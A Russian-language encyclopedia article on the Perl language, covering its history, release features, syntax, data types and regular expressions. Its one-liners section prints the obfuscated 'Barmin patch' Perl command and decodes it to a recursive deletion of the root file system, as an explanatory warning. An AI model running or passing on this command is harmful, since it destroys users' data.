Perl

Класс языка |  язык программирования
Появился в |  1987[4]
Автор |  Ларри Уолл
Разработчик |  Ларри Уолл[1] и The Perl Foundation[вд][2]
Выпуск |

* 5.42.0 (3 июля 2025)[3]

Система типов |  слабая динамическая
Испытал влияние |  C++, Си[1], sed, AWK, Бейсик, Лисп и командная оболочка UNIX
Повлиял на |  Raku, Ruby, PHP, Groovy, JavaScript
Лицензия |  Artistic License[вд][5] и GNU General Public License, version 1.0 or later[вд][6][7]
Сайт |  perl.org (англ.)
ОС |  Linux[8], macOS[8], Windows[8], Solaris[8], AIX[8] и HP-UX[8]
Медиафайлы на Викискладе

Perl — высокоуровневый интерпретируемый динамический язык программирования общего назначения, созданный Ларри Уоллом, лингвистом по образованию. Название языка официально расшифровывается как Practical Extraction and Report Language («практический язык для извлечения данных и составления отчётов»)[9], а в шутку — как Pathologically Eclectic Rubbish Lister («патологически эклектичный перечислитель мусора»)[9]; разработчики языка не считают его название акронимом[10]. Первоначально название состояло из пяти символов и в таком виде в точности совпадало с английским словом pearl («жемчужина»). Но затем стало известно, что такой язык уже существует, и букву «a» убрали. Символом языка Perl является верблюд — не слишком красивое, но очень выносливое животное, способное выполнять тяжёлую работу.

Основной особенностью языка считаются его богатые возможности для работы с текстом, в том числе работа с регулярными выражениями, встроенная в синтаксис. Перл унаследовал много свойств от языков Си, AWK, скриптовых языков командных оболочек UNIX[источник не указан 699 дней].

Perl знаменит огромной коллекцией дополнительных модулей CPAN (около 200 000), которые значительно увеличивают его возможности.

## Содержание

* 1 Обзор
* 1.1 Особенности
* 2 История
* 2.1 Первые версии
* 2.2 Ранний Perl 5
* 2.3 C 2000 по наше время
* 2.3.1 Версии 5.6.x
* 2.3.2 Версии 5.8.x
* 2.3.3 Версии 5.10.x
* 2.3.4 Версии 5.11.x
* 2.3.5 Версии 5.12.x
* 2.3.6 Версии 5.14.x
* 2.3.7 Версии 5.16.x
* 2.3.8 Версии 5.18.x
* 2.3.9 Версии 5.20.x — 5.26.x
* 2.3.10 Версии 5.28.x
* 2.3.11 Версия 5.32.0
* 2.3.12 Версия 5.34.0
* 2.3.12.1 Сопутствующие решения
* 2.4 Perl 6
* 3 Синтаксис языка Perl
* 3.1 Пример программы
* 3.2 Типы данных
* 3.2.1 Скаляр
* 3.2.2 Массив
* 3.2.3 Хеш-таблица
* 3.2.4 Функция
* 3.2.5 Константа
* 3.2.6 Запись таблицы символов
* 3.3 Классы и объекты
* 3.4 Регулярные выражения
* 4 Программы из одной строки
* 5 Языки программирования и оболочки со схожими технологиями
* 6 Интересные факты
* 7 Редакторы
* 8 См. также
* 9 Примечания
* 10 Литература
* 11 Ссылки

## Обзор

[править | править код]

Ларри Уолл

Perl — язык программирования общего назначения, который был первоначально создан для манипуляций с текстом, но на данный момент используется для выполнения широкого спектра задач, включая системное администрирование, веб-разработку, сетевое программирование, игры, биоинформатику, разработку графических пользовательских интерфейсов[источник не указан 699 дней].

Язык можно охарактеризовать скорее как практичный (лёгкость в использовании, эффективность, полнота), чем красивый (элегантность, минималистичность)[11]. Главными достоинствами языка являются поддержка различных парадигм (процедурный, объектно-ориентированный и функциональный стили программирования), контроль за памятью (без сборщика мусора, основанного на циклах), встроенная поддержка обработки текста, а также большая коллекция модулей сторонних разработчиков.

Согласно Ларри Уоллу, у Perl есть два девиза. Первый — «Есть больше одного способа это сделать» («There’s more than one way to do it»), известный также под аббревиатурой TMTOWTDI. Второй слоган — «Простые вещи должны быть простыми, а сложные вещи должны быть возможными» («Easy things should be easy and hard things should be possible»)[источник не указан 699 дней].

### Особенности

[править | править код]

Общая структура Perl в общих чертах ведёт своё начало от языка Си. Perl — процедурный по своей природе, имеет переменные, выражения присваивания, блоки кода, отделяемые фигурными скобками, управляющие структуры и функции.

Perl также заимствует ряд свойств из языков программирования командных оболочек UNIX. Все переменные маркируются ведущими знаками, которые точно выражают тип данных переменной в этом контексте (например, скаляр, массив, хеш). Важно, что эти знаки позволяют переменным быть интерполированным в строках. Perl обладает множеством встроенных функций, которые обеспечивают инструментарий, часто используемый для программирования оболочки, например сортировку или вызов системных служб.

Perl заимствует массивы из Лиспа, регулярные выражения из AWK и sed, из AWK также позаимствованы хеши («ассоциативные массивы»). Регулярные выражения облегчают выполнение многих задач по парсингу, обработке текста и манипуляций с данными.

Perl 5 добавил поддержку сложных типов данных, первоклассных функций (замыкание как значение) и объектную модель. В последнюю входят ссылки, пакеты, выполнение методов от класса, переменные с лексическим объявлением области видимости, а также директивы компилятора (например, `strict`). Главнейшим усовершенствованием, представленным в Perl 5, стала возможность помещать код в «пакеты» (package) в качестве модулей для повторного использования. Ларри Уолл позже заметил, что «Весь замысел модульной системы Perl 5 сводился к поощрению роста культуры Perl, а не строчек кода»[12].

Все версии Perl выполняют автоматическую типизацию данных и автоматический контроль над памятью. Интерпретатор знает тип и запросы памяти каждого объекта программы, он распределяет и освобождает память, производя подсчёт ссылок. Перевод одного типа данных в другой — например, числа в строку — происходит автоматически во время исполнения, невозможные для выполнения переводы типов данных приводят к фатальной ошибке.

Работа в Windows

Пользователи Microsoft Windows обычно используют дистрибутивы с уже скомпилированными бинарными файлами, такие, как ActivePerl или Strawberry Perl[англ.], так как компиляция Perl из исходных кодов в этой ОС — не самая простая задача. Задачу может облегчить Cygwin.

## История

[править | править код]

### Первые версии

[править | править код]

Ларри Уолл начал разработку Perl в 1987 году, когда работал программистом в Unisys[13]. Версия 1.0 была выпущена и анонсирована в новостной группе comp.sources.misc 18 декабря 1987 года[14] как «„замена“ для awk и sed».

Perl 2 был выпущен в 1988 году. Основным нововведением в нём был переработанный механизм регулярных выражений. Perl 3, выпущенный в 1989 году, получил возможность обрабатывать потоки двоичных данных.

Изначально единственной документацией для Perl была единственная (огромной длины) man-страница. В 1991 году была выпущена книга «Programming Perl» (известная многим программистам как «Верблюжья книга» (Camel Book) из-за изображения на обложке), которая, де-факто, стала стандартом языка. В то же самое время версия языка была «поднята» до 4‑й — не столько чтобы указать на значительные изменения, сколько чтобы обозначить, что эта версия языка документирована книгой.

### Ранний Perl 5

[править | править код]

Perl 4 прошёл через серию релизов, остановившись на Perl 4.036 в 1993 году. В этот момент Ларри Уолл забросил Perl 4 и начал работу над Perl 5. Разработка Perl 5 была начата в 1994 году. В то же время был создан список рассылки perl5-porters для координации работы над портированием Perl 5 на различные платформы. Он до сих пор остаётся основным форумом по разработке, обслуживанию и портированию Perl 5[15].

Perl 5.000 был выпущен 17 октября 1994 года[16]. Он включал в себя полностью переписанный интерпретатор, а также много новых языковых возможностей, таких, как объекты, ссылки, локальные переменные (`my $var_name`) и модули. Особенно важной частью были модули, так как они предоставили механизм расширения языка без модифицирования интерпретатора. Это позволило стабилизировать интерпретатор, но при этом, дало возможность обычным Perl-программистам добавлять в язык новые возможности. Perl 5 находится в активной разработке по сей день.

Perl 5.001 был выпущен 13 марта 1995 года. Perl 5.002 увидел свет 29 февраля 1996 года с новой поддержкой прототипов. Это позволило авторам модулей создавать функции, которые вели себя так же, как и встроенные функции Perl. Версия Perl 5.003 появилась 25 июня 1996 года и устранила обнаружившиеся проблемы с безопасностью.

Одно из важнейших событий в истории Perl 5 случилось за пределами собственно языка и было следствием поддержки модулей. 26 октября 1995 года начала свою работу CPAN (Comprehensive Perl Archive Network — «всеобъемлющая сеть архивов Perl»), которая стала репозиторием модулей Perl, а также исходного кода самого языка. На данный момент CPAN насчитывает более 198 600 модулей, созданных более чем 14 000 программистами[17] [18].

Perl 5.004 был выпущен 15 мая 1997 года и содержал, кроме всего прочего, пакет UNIVERSAL, который давал языку основной объект, от которого автоматически происходили все классы. Была также включена возможность запрашивать версию модулей. В дополнение к этому Perl стал поддерживать Microsoft Windows, а также ряд других операционных систем.

Perl 5.005 увидел свет 22 июня 1998 года. Этот релиз включал в себя несколько улучшений процессора регулярных выражений, новые перехваты в бэкенд с помощью модулей `B::*`, оператор кавычек `qr//` для регулярных выражений, большой выбор других новых модулей, а также поддержку ряда операционных систем, в частности, BeOS.

### C 2000 по наше время

[править | править код]

#### Версии 5.6.x

[править | править код]

Perl 5.6 был выпущен 22 марта 2000 года. Главные изменения включали поддержку 64-битных систем, представление строк в стандарте Юникод, поддержку больших файлов (файлы больше 2 Гб) и ключевое слово `our`[19][20]. Во время разработки Perl 5.6 было принято решение изменить схему наименования версий на более близкую к другим проектам с открытым исходным кодом. За версией 5.005_63 следовала версия 5.5.640; согласно плану, версиям в разработке должны были присваиваться нечётные номера, стабильным версиям — чётные.

В 2000 году Ларри Уолл выступил с призывом к сообществу активно обсуждать предложения к следующей версии Perl. Результатом этого обсуждения стал 361 документ RFC (Request for Comments — «запрос комментариев»), которые были использованы в разработке Perl 6. В 2001 году[21] была начата работа над окончательным документом, подводящим итог предложениям к созданию нового поколения Perl. Результат был представлен не в виде формального документа, а в качестве сводки всех RFC. К этому времени Perl 6 существовал исключительно в виде описания языка.

#### Версии 5.8.x

[править | править код]

Perl 5.8 был впервые выпущен 18 июля 2002 года и с этого времени получал ежегодное обновление. Последняя версия Perl 5.8, под номером 5.8.9, увидела свет 14 декабря 2008 года. Perl 5.8 улучшил поддержку Юникода, добавил новую реализацию ввода-вывода, добавил поддержку многопоточности, увеличил числовую точность и добавил несколько новых модулей[22].

В 2004 году началась работа над Синопсисом (Synopsis) — первоначально задуманном как ряд документов, подводящих итоги окончательного документа, упоминавшегося выше. Однако постепенно этот ряд документов и стал спецификацией Perl 6\. В феврале 2005 года Отриус Тан начала работу над Pugs[англ.] — интерпретатором Perl 6, написанном на Haskell[23]. Это было первой настоящей попыткой воплотить Perl 6 в реальность. Эта попытка заглохла в 2006 году.

#### Версии 5.10.x

[править | править код]

18 декабря 2007 года, в день 20-летней годовщины Perl 1.0, была выпущена версия Perl 5.10.0. Эта версия содержала в себе ряд заметных нововведений, приближающих её к Perl 6. Одними из таких нововведений стали новые операторы switch (названных «given»/«when»), обновление регулярных выражений, а также «умный» оператор совпадения «~~»[24][25].

Примерно в это же время всерьёз началась разработка новой реализации Perl 6, известной как Rakudo Perl[англ.], разработанной в связке с виртуальной машиной Parrot. С ноября 2009 года Rakudo Perl регулярно обновляется каждый месяц и является на данный момент самой полной реализацией Perl 6.

#### Версии 5.11.x

[править | править код]

Значительное изменение процесса разработки Perl 5 произошло после появления Perl 5.11. Сообщество разработчиков перешло на ежемесячный цикл выпусков, с планированием даты выпуска на три месяца вперёд.

#### Версии 5.12.x

[править | править код]

12 апреля 2010 года Perl 5.12.0 был представлен общественности. Выдающиеся нововведения включают в себя поддержку нового синтаксиса `package NAME VERSION`, оператор Yada Yada (служащего для маркировки кода-заполнителя, который ещё не реализован), полное решение «проблемы 2038 года» (Y2038), перегрузку операторов регулярных выражений, поддержку DTrace (фреймворка динамической трассировки), а также полную поддержку стандарта Unicode 5.2[26]. 7 сентября 2010 года был выпущен Perl 5.12.2, а 21 января 2011 — Perl 5.12.3. Эти выпуски содержат обновление модулей, а также некоторые изменения в документации[27][28]. Версия 5.12.4 выпущена 20 июня 2011\. Последняя версия этой ветви, 5.12.5, выпущена 10 ноября 2012\.

#### Версии 5.14.x

[править | править код]

14 мая 2011 выпущен Perl 5.14. Поддержка JSON стала встроенной, начиная с версии 5.14.2. Последняя версия этой ветви, 5.14.4, выпущена 10 марта 2013\.

#### Версии 5.16.x

[править | править код]

20 мая 2012 выпущен Perl 5.16. Значимым новшеством является возможность указать нужную версию Perl, которую надо эмулировать, позволяя пользователям обновить Perl, но сохранить работоспособность старых скриптов, которые иначе стали бы несовместимыми с новой версией[29]. Ядро Perl 5.16 поддерживает Unicode 6.1[29].

#### Версии 5.18.x

[править | править код]

18 мая 2013 выпущен Perl 5.18. Значимые нововведения включают новые зацепки dtrace, лексические функции, увеличение числа включённых в ядро функций, пересмотр реализации хешей из соображений безопасности, поддержка Unicode 6.2[30].

#### Версии 5.20.x — 5.26.x

[править | править код]

Версия 5.20 вышла 27 мая 2014[31].

16 апреля 2015 было объявлено о предполагавшемся выходе версии 5.22[32], 9 мая 2016 вышла версия 5.24[33].

30 мая 2017 года вышла очередная стабильная версия за номером 26[34].

Информация в этой статье или некоторых её разделах устарела.

Вы можете помочь проекту, обновив её и убрав после этого данный шаблон. (4 июня 2015)

|

#### Версии 5.28.x

[править | править код]

Версия 5.28.0 вышла 22 июня 2018[35].

Ключевые нововведения:

* Поддержка Unicode 10.0 (появился символ биткоина).
* Стандартную функцию `delete` можно использовать на срезах хэша ключ / значение:

my %sanitised_values = delete %input_values{@allowed_keys};

* Проверка системы письменности на однородность (script runs):

'Perl' =~ /^(*sr:\w+$)/

Вернёт «ложь», так как буква «е» кириллическая (подробнее о script runs[36])

Экспериментальные возможности:

* Поддержка буквенных синонимов для некоторых утверждений (assertion) регулярных выражений:

(?=...)        (*pla:...) or (*positive_lookahead:...)
(?!...)        (*nla:...) or (*negative_lookahead:...)
(?<=...)       (*plb:...) or (*positive_lookbehind:...)
(?<!...)       (*nlb:...) or (*negative_lookbehind:...)
(?>...)        (*atomic:...)

Улучшения производительности:

* Серьёзно снижены накладные расходы связанные с использованием параметров юникод (`\p{...}`) в регулярных выражениях.
* Существенно ускорена множественная конкатенация. Например, следующий код на x86_64 работает в 4 раза быстрее:

my $a = "ab\x{100}cde";
my $b = "fghij";
my $c = "\x{101}klmn";

my $s;
for my $i (1..10_000_000) {
$s = "\x{100}wxyz";
$s .= "foo=$a bar=$b baz=$c";

* `printf()` с фиксированным набором аргументов и строкой формата содержащей только %s и %% работает быстрее.
* `ref()` работает намного быстрей в булевом контексте, так как больше не создаётся временная строка вроде `Foo=ARRAY(0x134af48)`.
* Циклы `for()` и аналогичные конструкции в большинстве ситуаций будут работать быстрей.
* Появилась возможность хранить процедуры в пакетах без использования таблиц имён, что позволяет сэкономить крупные объёмы памяти.

Другие изменения:

* Ядро почистили от «use vars». Многие продолжают использовать «use vars», что является плохой практикой с момента введения «our» в версии 5.6.0.
* Новое предупреждение для случаев:

my $name='Pistachio';
print "In $name's house";

* Побитовые операции для строк и чисел больше не являются экспериментальными.
* Редактирование на месте с помощью `perl -i` стало безопаснее.

#### Версия 5.32.0

[править | править код]

Вышла 20 июня 2020[37] и за 13 месяцев разработки изменено около 140 тысяч строк кода в 880 файлах. Perl 5.32 переходит в режим долгой поддержки на срок от 5 лет. На «Perl and Raku Conference in the Cloud»[38], Sawyer X. анонсировал смену основной версии Perl с 5 на 7[39]. Ожидается, что Perl 7 это всё тот же Perl 5.32 с современными настройками по умолчанию.

Ключевые нововведения:

* Новый экспериментальный оператор isa, проверяющий, является ли указанный объект экземпляром переданного класса или класса-наследника:

if( $obj isa Package::Name ) { ... }

* Поддержка Unicode 13.0!
* Появилась возможность записывать операторы сравнения с одним приоритетом в виде цепочки:

if ( $x < $y <= $z ) {...}
# То же самое что:
if ( $x < $y && $y <= $z ) {...}

* Буквенные обозначения утверждений в регулярных выражениях больше не являются экспериментальными, например: (`*pla:pattern`)
* Возможность ограничения проверяемого шаблона конкретной системой письма («Script Runs») больше не является экспериментальной.
* Появилась возможность отключать непрямой вызов методов.

Некоторые оптимизации:

* Проверка подключения дополнительных возможностей (features) теперь происходит быстрее.
* Существенно ускорены специальные случаи для сортировки (например, `{$a <=> $b}` и `{$b <=> $a}`).

#### Версия 5.34.0

[править | править код]

Вышла 20 мая 2021[40][41]. Perl 5.34.0 представляет собой примерно 11 месяцев разработки с тех пор, как вышла версия Perl 5.32.0 и содержит примерно 280 000 строк изменений в 2100 файлах от 78 авторов. Если исключить документацию, генерируемые автоматически файлы и инструментарий для формирования самого релиза, было изменено 150 000 строк в 1300 .pm, .t, .c и .h-файлах.

Новая функциональность:

* Добавлена экспериментальная поддержка `try/catch`.

use feature 'try';

try {
a_function();

catch ($e) {
warn "An error occurred: $e";

* Нижняя граница диапазонного квантификатора теперь может быть не указана: `qr/{,n}/`.
* Допускается наличие пробелов для заключённой в фигурные скобки части метасимволов: `\x{ FFFC }` или `qr/a{ 5, 7 }/`.
* Добавлен префикс `0o` для записи восьмеричных констант: `0o123_456`.
* В модуль feature добавлены две включённых по умолчанию настройки-ограничителя `bareword_filehandles` и `multidimensional`:

no feature qw( bareword_filehandles );
open( FP, "<", "./x" );

no feature qw( multidimensional );
my %h = ();
$h{1,2};

* Исправлен случай утечки памяти.
* Расширен набор сообщений об ошибках и предупреждений.
* Добавлены изменения в документации.

##### Сопутствующие решения

[править | править код]

Некоторые наблюдатели приписывают выходу Perl 5.10 запуск движения Modern Perl[42][43]. В частности, эта фраза описывает стиль разработки, подразумевающий использование CPAN, использование преимуществ последних разработок на языке, а также требовательность к высокому качеству кода[44].

В конце 2012 и в 2013 запущены несколько проектов по альтернативной реализации Perl 5: Perl5 in Perl6 (Rakudo Perl team)[45], moe (Стивен Литл с друзьями)[46], p2[47] (Perl11 team under Reini Urban), а также gperl (goccy)[48].

### Perl 6

[править | править код]

Основная статья: Raku

С 2000 года идёт разработка новой (6-й) версии языка. В отличие от предыдущих версий, разработчики планируют создать чётко определённый стандарт языка. В настоящее время существуют экспериментальные компиляторы Perl 6, но продолжается дальнейшее обсуждение новых правил.

## Синтаксис языка Perl

[править | править код]

Синтаксис Perl имеет много общего с синтаксисом языков Си, AWK, sed и Bourne shell.

Первая строка исходного кода может начинаться с «#!/Путь/к/Perl [-ключи]» — что указывает системе путь к интерпретатору Perl для выполнения программы в UNIX-системах и выполнения их на веб-сервере (см. также: Шебанг (Unix)).

### Пример программы

[править | править код]

Простейшая программа «Hello, world!» выглядит следующим образом:

#!/usr/bin/perl
print "Hello, world!\n";

либо для CGI:

#!/usr/bin/perl
print "Content-type: text/html\n\n";
print "Hello, world!";

либо используя один из post modern web-framework

use Mojolicious::Lite;
get '/' => {text => 'Hello World!'};
app->start;

либо используя PSGI спецификацию

my $app = sub {
return [200, ['Content-Type' => 'text/plain'], ["hello, world\n"]];

Дозапись в строку.

$x = 5;
$x .= 0;
print $x; #50

А вот так можно напечатать число гугол.

print 1, 0 x 100;

### Типы данных

[править | править код]

Основные типы данных: скаляр, массив, хеш-таблица, функция, указание на файл, запись таблицы символов. Переменные разных типов отличаются знаком, который стоит перед именем переменной:

Тип  | Символ  | Пример  | Описание

|
|
|

Скаляр | $  | $foo  | единичное значение; может быть числом, строкой, указанием на файл, а также ссылкой.
Массив | @  | @foo  | Упорядоченная коллекция скаляров.
Хеш-таблица | %  | %foo  | Коллекция из пар строка-скаляр; строки называются ключами, а скаляры — значениями. Синоним — ассоциативный массив.
Файловый дескриптор | < > | $foo или FOO  | Представление открытого файла или другой цели, открытой для чтения и/или записи.
Функция | & | &foo  | Отрезок кода, который принимает аргументы, исполняет действия и возвращает значения.
Запись таблицы символов | *  | *foo  | Запись таблицы символов для всех типов с именем 'foo'.

#### Скаляр

[править | править код]

Скалярные переменные используются для хранения одиночных значений. Они могут содержать числа, строки и ссылки на другие объекты. Перед именем скалярной переменной необходимо ставить знак доллара '$'. Тип скалярной переменной не фиксирован (в отличие от, например, языка Си) и определяется динамически в зависимости от контекста. Например,

$x = 10; # число
$y = $x + 1; # используем $x как число…
$z = $x . 'string'; # … а теперь — как строку
$ref = \$x;  # $ref является указателем на $x
$$ref = 10; # $x содержит значение 10

Строковые данные должны быть помещены в кавычки. Perl использует два вида кавычек — одиночные и двойные. Помещение строки в двойные кавычки позволяет автоматически заменить встречающиеся имена переменных на их значения. Заключение строк в одиночные кавычки предотвращает такое поведение:

## Пример интерполяции переменных в двойных кавычках

$pi             = 3.141592654;
$var1           = 'Значение Pi - $pi\n';
print $var1;                                                 # Значение Pi - $pi\n
$var2           = "Значение Pi - $pi\n";
print $var2;                                                 # Значение Pi - 3.141592654

Для включения двойных кавычек в строку, которая была помещена в двойные кавычки, следует использовать \". Для включения одинарных кавычек в строку из одинарных кавычек — \'. Для удобства работы со строками, содержащими много знаков кавычек внутри, Perl позволяет использовать альтернативные способы закавычивания. Альтернативная форма использует любую пару знаков, помещённых после буквы q (имитирует поведение одинарных кавычек) или qq (имитирует поведение двойных кавычек):

## Пример использования альтернативных кавычек

$pi       = 3.141592654;
$link1    = q{<a href="http://ru.wikipedia.org/wiki/Pi">$pi</a>};
print $link1;                                              # <a href="http://ru.wikipedia.org/wiki/Pi">$pi</a>
$link2    = qq{<a href="http://ru.wikipedia.org/wiki/Pi">$pi</a>};
print $link2;                                              # <a href="http://ru.wikipedia.org/wiki/Pi">3.141592654</a>

Ещё один тип кавычек в Perl — обратные кавычки. В них помещаются программы операционной системы, вывод которых может быть передан интерпретатору Perl. Например:

## Пример использования обратных кавычек для исполнения команд UNIX

$space		= `du -s -k /usr/local/bin`;
print $space;                                   # 6264	/usr/local/bin

$sysuptime	= `uptime`;
print $sysuptime;                               # 2:24  up 1 day,  9:05, 1 user, load averages: 0.26 0.32 0.33

#### Массив

[править | править код]

Массив является упорядоченным списком скаляров. Каждый элемент массива имеет порядковый индекс, с помощью которого к нему можно получить доступ. Нумерация элементов начинается с нуля, то есть первый элемент списка имеет индекс 0. Перед именем переменной-массива необходимо ставить знак '@', а для доступа к определённому элементу массива использовать знак '$', так как отдельный элемент массива является скаляром. Многомерные массивы можно смоделировать, помещая в список ссылки на другие списки.

@array = (1,2,3,4); # записали в массив @array четыре элемента
print $array[2];    # напечатать третий элемент
print @array[2,3];  # напечатать третий и четвёртый элемент.
# Здесь используется @, так как результат операции среза массива тоже является массивом.

#### Хеш-таблица

[править | править код]

* Хеш-таблица представляет собой ассоциативный массив, позволяющий ассоциировать строку (называемую «ключом») со скаляром (значение). Строка называется ключом, а скаляр в хеш-таблице значением. Перед именем переменной-списка необходимо ставить знак процента '%', а для доступа к определённому элементу массива необходимо ставить знак '$'.

Хеш-таблицу можно инициализировать массивом или списком, состоящим из неограниченного числа последовательностей (ключ, значение).

%hash = (
cat => 'kitten',  # здесь => - это так называемая "длинная запятая", в этом примере
dog => 'puppy',   # по функции полностью аналогичная обыкновенной "," за исключением
cow => 'calf'     # того, что литералы слева неявно заключаются в кавычки

print $hash{'cat'}; #Напечатает kitten
print join("-", keys %hash) ; # Вывод всех ключей. Напечатает cat-dog-cow
print join("-", values %hash) ; # Вывод всех значений. Напечатает kitten-puppy-calf
print join("-", %hash) ; # Напечатает cat-kitten-cow-calf-dog-puppy, так как в списковом контексте хеш автоматически
# разворачивается в список (ключ, значение). Так как ключи в хеше не сортируются,
# пары каждый раз будут выводиться в произвольном порядке.

#### Функция

[править | править код]

* Функция представляет собой фрагмент исполняемого кода. Функция всегда возвращает какое-либо значение. Если возвращаемое значение явно не указано оператором return, возвращается последнее вычисленное значение. Если в функции используется return без параметров, то в зависимости от контекста вызова функции возвращается неопределённое значение undef, пустой список или вообще ничего.

sub printTwo{
print 2;

sub three{

$s = \&three;
print &$s; #Напечатает 3

$s = \&printTwo; # Запишем в скаляр $s ссылку на функцию — через эту ссылку она будет вызвана в следующей строке.
print &$s; #Напечатает 21. `2` в коде функции, а `1` как значение, возвращаемое функцией printTwo
print &printTwo #То же самое

#### Константа

[править | править код]

* Константа представляет собой неизменяемое значение. Константа не является встроенным типом языка и эмулируется при помощи функций. Предпочтительно задавать константы с помощью стандартного модуля constant, чтобы в будущем не зависеть от возможных изменений в реализации констант. Использование:

use constant MY => 2;
print MY;

#### Запись таблицы символов

[править | править код]

* Запись таблицы символов (typeglob) — специальный тип, в котором хранятся ссылки на все переменные других типов с таким названием, а также на символы, которые часто использует для хранения файловый дескриптор, представляющих собой указатель на файл, устройство или PIPE канал, открытые для записи, чтения или для записи и чтения.

Использование:

$s = readline *STDIN; #Читаем одну строку из дескриптора STDIN (стандартный поток ввода); скалярный контекст.
@values = <FILE>; #Читаем все строчки из некоторого открытого и связанного с дескриптором FILE файла; списковый контекст.
print STDOUT $s; #Печатаем в STDOUT (стандартный поток вывода)

Более точный пример, в котором typeglob используется для передачи файлового дескриптора в функцию:

my $file = 'file.txt'; #имя файла, который читаем
open FH, $file; #открываем файл
my $text = _parseFile(*FH); #передаём файловый дескриптор в функцию
print $text;
close FH; #обязательно закрываем файловый дескриптор
sub _parseFile

my $fh = shift; #получаем файловый дескриптор
my $text = join('',<$fh>);#построчно читаем из файлового дескриптора, в строку и помещаем в переменную $text
return $text;

В последних версиях Perl появилась возможность хранить файловые дескрипторы в скалярах, и в новых программах предпочтительно пользоваться именно этим способом.

Также таблицы символов используются для связи двух имён переменной с одним значением в памяти, создавая синонимы, которые могут быть использованы для доступа и модификации значения точно также как и оригинальное имя. Эта возможность является основой системы загружаемых модулей, классов и объектов в Perl.

### Классы и объекты

[править | править код]

Объект в Perl представляет собой просто ссылку, связанную с определённым классом (пакетом). Для связи используется функция bless. Подпрограммы такого связанного пакета являются методами и получают ссылку в качестве первого аргумента.

Специальный синтаксис для конструкторов отсутствует, используется подпрограмма пакета, возвращающая ссылку, связанную с этим пакетом.

Также существуют множество расширений для системы ООП, позволяющих менять синтаксис и использовать синтаксический сахар, в числе которых стоит назвать cpan-модуль Moose и его облегчённую версию Moo[49]. Moose используется многими проектами и крупными компаниями, такими как BBC или Cisco[50].

### Регулярные выражения

[править | править код]

Важной частью Perl являются регулярные выражения. Благодаря этому Perl хорошо подходит для обработки текстов. Бо́льшая часть работы с регулярными выражениями производится при помощи операторов `=~`, `m//` и `s///`.

Оператор `m//` используется для проверки на совпадение. В простейшем случае результат выражения `$x =~ m/abc/` будет истинным тогда и только тогда, когда строка `$x` будет соответствовать регулярному выражению `abc`. Например:

Пример  | Значение

|

`$x =~ /abc/` | Строка `$x` содержит (под)строку «abc». Начальная буква «m» оператора при использовании `//` может быть опущена.
`$x =~ m/a(.{1,3})c/` | Строка `$x` содержит букву «a», затем от одного до трёх любых символов кроме символа перевода строки «\n», и затем букву «c».
`$x =~ m{^p(erl|ugs)$}i` | Строка `$x` строго равна «perl» или «pugs» без учёта регистра. Так же, вместо `//` регулярное выражение окружено в `{}`.

Поиск и замена выполняются при помощи оператора `s///`. Конструкция `$x =~ s/abc/def/;` заменит первое вхождение регулярного выражения `abc` на строку `def`.

Пример  | Значение

|

`$x =~ s/abc/def/g;` | Все вхождения (на что указывает флаг `/g` — global) подстроки «abc» в `$x` будут заменены на «def».
`$x =~ s/a(.{1,3})c/!$1!/;` | Первое вхождение в `$x` буквы «a», затем от одного до трёх любых символов кроме символа перевода строки «\n», и затем буквы «c» будет заменено на эти символы между «a» и «c», окружённые «!». Например, «syntactic» станет «synt!cti!».
`$x =~ s{^p(erl|ugs)}{"P" . lc $1}ieg;` | Здесь показан пример использования модификатора `/e`, указывающего на то, что вместо строки замены будет написан код, результат выполнения которого надо использовать. Все вхождения «perl» или «pugs» в любом регистре будут заменены на «Perl» и «Pugs», соответственно.

С появлением динамических регулярных выражений `(??{ код Perl })` и конструкции для включения в регулярное выражение исполняемого кода Perl `(?{ код Perl })` возможности по поиску и замене стали практически безграничными. К примеру, стал возможен поиск конструкций произвольного уровня вложенности.

Регулярные выражения Perl настолько популярны, что они включены напрямую в другие языки, такие как PHP и JavaScript, а также существуют подключаемые библиотеки, реализующие использование выражений в компилируемых языках.

## Программы из одной строки

[править | править код]

Интересной и часто используемой возможностью Perl являются так называемые однострочники — программы из одной строки, обычно задаваемые прямо в строке вызова интерпретатора с помощью ключа `-e`.

Эта программа напечатает простые числа:

perl -wle '(1 x $_) !~ /^(1|((11+)\3+))$/ && print while ++ $_'

Этот пример напечатает только уникальные строки файла file, ключ `-n` автоматически заворачивает строку обработки в цикл, который проходит по всем строкам в файлах, указанных после текста программы:

perl -ne '$s{$_}++ || print' file

Примечание: для запуска предыдущей команды под Windows замените в ней апострофы `'` на двойные кавычки `"`.

В этих примерах Perl напоминает своей краткостью и непонятностью с первого взгляда язык J.

Запуск нижеследующего кода может привести вашу систему в неработоспособное состояние.

|

Также одним из подобных примеров является вызвавшая большой резонанс программа[51], на самом деле являющаяся патчем Бармина (замаскированной командой рекурсивного удаления всех файлов):

echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

`echo "test... test... test..."` выполнение этой команды не влияет на работу и добавлено, скорее всего, для усыпления бдительности. То, что происходит в остальном коде — совсем не очевидно из-за преднамеренно запутанного написания. В данной строчке записано всего три последовательно выполняемых команды. Запишем команду следующим образом:

$? ? s:;s:s;;$?: : s;;=]=>%-{<-|}<&|`{; ;
y; -/:-@[-`{-};`-{/" -; ;
s;;$_;see

Первая конструкция анализирует переменную $? — код возврата предыдущей команды. Так как перед выполнением этой конструкции дочерних процессов не создавалось, $? будет содержать 0, и выполнена будет вторая «ветка» s;;=]=>%-{<-|}<&|`{;. Эта команда, в свою очередь, заменяет строку в переменной-аккумуляторе $_ на =]=>%-{<-|}<&|`{ (первый символ после s устанавливает ограничитель параметров этого оператора, и хотя традиционно используются слэш '/' или '|', для неясности в этой конструкции используется ограничитель ';').

Вторая команда транслирует содержимое «аккумулятора» по достаточно сложным правилам. В левой части указано четыре диапазона символов, в правой — один. Если раскрыть эти диапазоны, получим следующее соответствие:

!"#$%&'()*+,-./:;<=>?@[\]^_`{|}
`abcdefghijklmnopqrstuvwxyz{/" -

В результате содержимое $_ принимает вид

system"rm -rf /"

Третья же команда дважды (как инструктирует флаг `ee`) «вычисляет» содержимое аккумулятора — вышеуказанную деструктивную команду — и пытается заменить пустую строку в аккумуляторе на результат вычисления.

## Языки программирования и оболочки со схожими технологиями

[править | править код]

Perl — далеко не единственный язык, дающий богатые возможности в обработке текста. Языки программирования РЕФАЛ, Icon и Снобол предоставляют возможность более полно использовать метод программирования «сопоставления с образцом», частным случаем которого и являются регулярные выражения.

Существует также полноценная командная оболочка UNIX, использующая в качестве основы язык Perl. Называется она psh и даёт возможность смешивать команды обычной оболочки и самого Perl’а[52].

## Интересные факты

[править | править код]

